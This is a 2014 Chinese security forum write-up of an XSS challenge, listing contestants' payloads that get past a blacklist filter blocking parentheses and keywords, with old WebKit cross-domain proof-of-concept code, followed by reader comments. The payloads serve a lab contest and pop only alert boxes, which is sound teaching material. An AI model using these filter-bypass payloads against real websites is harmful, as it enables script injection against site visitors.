XSS挑战第一期Writeup

mramydnei 2014-01-25 20:44:00

0x00 起因


这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过后,在其中发现了一个很有趣的话题。那就是在圆括号被过滤的情况下,如何去执行javascript。在文中笔者给出来了这样的解决方案:

<a onmouseover="javascript:window.onerror=alert;throw 1>

这是一个通过抛出异常的方式来执行 alert()的方案。那么,还有没有别的办法可以让我们在没有圆括号的情况下执行Javascript呢?众神们经常说,没有具体环境的讨论是没有意义的。所以我就花了一点时间,编写了一个基于黑名单的XSS防御代码。也就有了我们这次的挑战。

0x01 设定


为了增加一点挑战的难度,根据一些较常见的XSS防御代码,对本次挑战进行了下列设定:

过滤:

(,),&,\,<,>,',%28,%29,空格+on,alert,data,src,eval,unescape
innerHTML,document,appendChild,createElement,write,String,setTimeout

当然,为了保证更多人可以参与进来,我并没有对最前面给出的答案进行过滤。

0x02 结果


在挑战开始不到三个小时的时间里,gainover拿下了这次挑战的First Blood。

"onblur=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9

巧妙的使用定义变量的方式,重新拆装了URL编码分别为:%28和%29的左右圆括号,进而绕过了我们的限制。随后又放弃了定义变量的方式,而直接选择了通过连接字符串的方式 来缩减payload的长度。

"onblur=location="javascript:aler"+"t%2"+"81%2"+"9

紧随其后,又有第二位挑战成功者px1624,使用了和gainonver类似的方式,绕过了我们的过滤规则。当然,从上面的例子当中我们不难看出,此处的href是可以省略来简短长度的。

"onblur=location.href="JAvascript:ale"+"rt%2"+"81%2"+"9

之后我们又从 gainver 收到了另一种绕过方式。

"onblur=top.onerror=top["ale"+"rt"];throw"1

看上去和我们预留的答案大相径庭,但是也有它有趣的一部分。因为提交者在这里并没有使用较长的window而是使用了top,当然作为其它选项也可以使用parent或self。但是很明显top是最短的。如果不考虑触发难易性,也许我们可以把第一个onblur换成oncut,把第二个onerror换成onblur来进一步节约两个字节。(当然,我并不认为在任何情况下,短的就是好的。)在Chrome下先在input里面按一次ctrl+x,在通过点击地址栏或其它tab即可触发。

正在思考这个top的问题时,gainover又寄来了一种更有趣的绕过方式。

"onblur=outerHTML=URL//#<img/src=1 onerror=alert(1)>

可能有些人看完之后会觉得是不是变长了呢?实际上#后面的部分是不会被算在QueryString里面的。所以这里的实际长度只有23。提交者巧妙的使用outerHTML的方式将整个URL都写入到了DOM。但是在这里不得不提的是,浏览器差异问题。虽然在Internet Explorer(IE8 下测试)和Chrome(最新版本)当中,这种方法都可以直接把URL写到DOM中,但是Firefox会将URL编码过的内容写入到DOM中,导致无法完成HTML注入。所以在实际的操作过程中,如果条件允许的话,可能需要我们调用一些可以对URL进行解码的JS函数,先对URL进行一次解码再写入到DOM中,进而提高payload的通用性。

随后gainover又再一次通过空格来代替注释符(//),为自己赢得了更短的代码。

"onblur=outerHTML=URL #<img/src=1 onerror=alert(1)>

来自fangfei yang的答案:

"oncut=top.onerror%3Dtop["al"+"ert"];throw"1

来自Chu的答案:

<iframe src="http://xss.z7ys.com/?xss="onblur="location=window.name&submit=搜索" name="javascript:alert(1)"></iframe>

这位挑战者通过window.name实现了iframe的跨域,并完成了挑战。类似的方法还有URL.hash window.postMessage等等。在后续出来类似的答案时将不在重复写iframe的部分。

来自 Dun 比较有趣的答案: 

"onfocus=new%A1%A1window["al"+"ert"]

在这里出现了一个小插曲,也是我的一个失误。因为两台服务器当中一台使用了utf-8编码,而另外一台又使用了GB2312编码。这位挑战者就在编码为GB2312的页面用了全角空 格(%A1%A1)。当然作为这个的替代品,还有%0B%0B。

之后Dun又使用了Chrome上一个版本的跨域漏洞,再次缩短了自己的payload长度。(因为chrome跨域漏洞的细节在很多地方都可以找到,我就不在这里造轮子了。)下面是他的POC:

<script> var dd=false; document.domain=""; </script>
<iframe id="xss"src="//xss.z7ys.com./?xss=%22onblur%3Ddomain%3D%22%22+&submit=%CB%D1%CB%F7"onload="dd=true;"width="100%"height="100%"onmouseover="xssalert();"></iframe>
<script>
function xssalert(){
if(dd){
var xssiframe=document.getElementById("xss").contentWindow;
xssiframe.document.write("<script>alert(1)<\/script>");
}};
</script>

SqlCode的答案:

"oncut=_=window;_.onerror=_["al"+"ert"];throw[1]

Laix的答案:

"oncut=location="javascript:aler"+"t%"+"281%"+"29

Galaxy的答案:

"onblur=javascript:window.onblur=al%00ert;throw"1

该挑战者使用绕过 IE8/IE9 filter 的一个技巧(%00),完成了挑战。

e3rp4y的答案:

"onfocus=window.onblur=top["aler"%2b"t"];throw"1

来自0x00有趣的答案:

()&xss="onclick=a=location.search;location.href="javascript:a"+"lert"+a[1]+a[2]//

把()作为参数放在问号的后面再用 location.search 调用了出来。

"onclick=a=location;b=a.hash;a.href="javascript:a"+"lert"+b[1]+b[2]//

"onclick=a=location;a.href="javascript:/*"+a.hash//#*/alert()

"onclick="location.href=window.name

来自 litdg 的答案:

"/onblur=window.onerror=window["aler"+"t"];throw+1//

来自过客的答案:

"onclick="location=top.a.name

最后附上本次挑战的第一名获得者/fd 的一些答案:

<iframe name="javascript:alert(1)" src=//133.52.240.75/index.php?xss="autofocus/onfocus="location=self.name></iframe>

通过iframe的self.name实现了跨域。

<iframe height=500 src=//xss.z7ys.com/index.php?xss=%22ondrop%3Ddomain%3D%22com></iframe>
<script>
 document.domain = 'com';
 setInterval(function() {
  frames[0].alert && frames[0].alert(1);
 },100)
</script>

chrome跨域漏洞+拖拽劫持(只附上了重要部分代码,效果见上图)。一个很用心的 POC。当我们试图把硬币投入下面的黑框时触发。

<iframe height=500 src=//xss.z7ys.com./index.php?xss=%22oncut%3Ddomain%3D%22></iframe>
<script>
 document.domain = '';
 setInterval(function() {
  frames[0].alert && frames[0].alert(1);
 },100)
</script>

最后用旧版chrome的跨域漏洞(测试于Chromium 31.0.1650.8)以15个字符的成绩终结了比赛。

0x03 写在最后


因为个人经验和知识储备的不足,可能在挑战的设定和评判标准上面没能做的很完善。而且整个挑战也似乎从如何绕过圆括号的限制慢慢的演变成了 The short talk of XSS。也许有人会觉得这是造轮子吧。但是我相信在参与的过程当中,大家也和我一样或多或少都学到了一些什么。其实,在编写这篇文章的同时,我和我的小伙伴们(Laix,烟花兔子,Line)花费心思又搞了一个自认为比较有趣的XSS挑战。暂时就将它称作为XSS挑战第二期吧。希望到时候大家也能来玩玩!最后,谢谢/fd,LinE,瞌睡龙等人的乌云币赞助。

提供该程序PHP源代码供各位下载,自己搭建测试:index.php.zip

评论

瞌睡龙 2014-01-25 20:48:30

此次活动mramydnei组织的很赞,writeup也写得非常好,以后有小伙伴们想继续搞比赛的话,知识库可以作为官方来宣传提供测试环境供大家来玩。同时提供相应的奖励!~待会zone发个帖子号召一下:) [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */un.org

心伤的胖子 2014-01-25 21:03:27

真心给力,又学到不少好东西啊!

剑无名 2014-01-25 21:29:25

赞all people

G

Gosuto 2014-01-25 21:54:28

很喜欢这类活动 可以学到不少东西 赞一个

X

xiaoL 2014-01-25 21:55:28

真心赞...好东西...

S

sky 2014-01-25 22:01:14

路过

心伤的瘦子 2014-01-25 22:22:33

纠正下,不是 chrome 的漏洞,是 webkit 的 bug。

mramydnei 2014-01-25 22:25:16

哈哈 谢谢纠正

X

xss_art 2014-01-25 22:34:10

学到不少东西。。。想想自己的第一次写出的73个字符的payload,以及后面的66个的payload。。在大神面前简直就是渣渣。。。。期待第二期。。。

L

LinE 2014-01-25 23:05:07

支持哀木哥,虽然我这渣渣居然一个能用的payload都没写出来- -!

H

hang 2014-01-25 23:36:06

支持爱慕锅 涨姿势了

Y

yangff 2014-01-25 23:56:45

实际上#后面的部分是不会被算在QueryString里面的
QueryString
QueryString
QueryString
...........

P

px1624 2014-01-26 01:10:42

学习了,攒这种活动,原来GN第二次那个比我少的原因是吧location.href简写成了location额,擦擦。。。>_<

mickey 2014-01-26 08:53:52

:)
好文章,支持

A

adm1n 2014-01-26 09:20:32

支持 向各位大牛学习

E

Elegance 2014-01-26 10:26:41

学习了。支持!期待第二期

J

Jim叔叔 2014-01-26 12:26:42

mark

O

ovens 2014-01-26 17:53:49

厉害 学习了

W

wefgod 2014-01-26 18:19:25

不擅长XSS的路过了

X

x0ers 2014-01-26 20:11:19

学习到不少东西、

夏殇 2014-01-26 22:06:22

一群大牛

0

0x0F 2014-01-27 09:45:00

A Le RT(1)呢

小秦 2014-01-27 13:59:32

我想说的是,黑名单里居然没有 双引号,叫毛黑名单?
过滤了双引号还能XSS那才叫牛b.

瞌睡龙 2014-01-27 19:29:02

嗯,过滤了双引号还能xss确实牛B,只是此题没过滤双引号,你能挑战到最短payload是几个字符呢?第二期xss挑战年后进行,牛B你就拿第一~

I

Ivan 2014-01-28 00:54:30

都是大牛……

袋鼠妈妈 2014-01-28 12:24:07

赞32次

0

0.0 2014-01-28 19:27:48

我去,我刚才看到这帖子弹窗了

H

heaven 2014-02-01 14:01:07

学习了!!!!

C

clzzy 2014-02-04 18:06:51

路过

R

retaker 2014-02-07 09:34:19

ReferenceError: ALeRT is not defined

R

retaker 2014-02-07 09:44:06

为什么试了好多都mei有办法运行呢

A

Aepl│恋爱 2014-02-09 13:06:38

赞一个~!

I

ice 2014-02-13 21:04:18


熊猫 2014-02-14 02:17:44

第二期你就可以了

小贱人 2014-04-23 20:15:21

mark

mramydnei

xss'"><a>a\

随机分类

Windows安全 文章:88 篇
数据安全 文章:29 篇
Exploit 文章:40 篇
运维安全 文章:62 篇
事件分析 文章:223 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录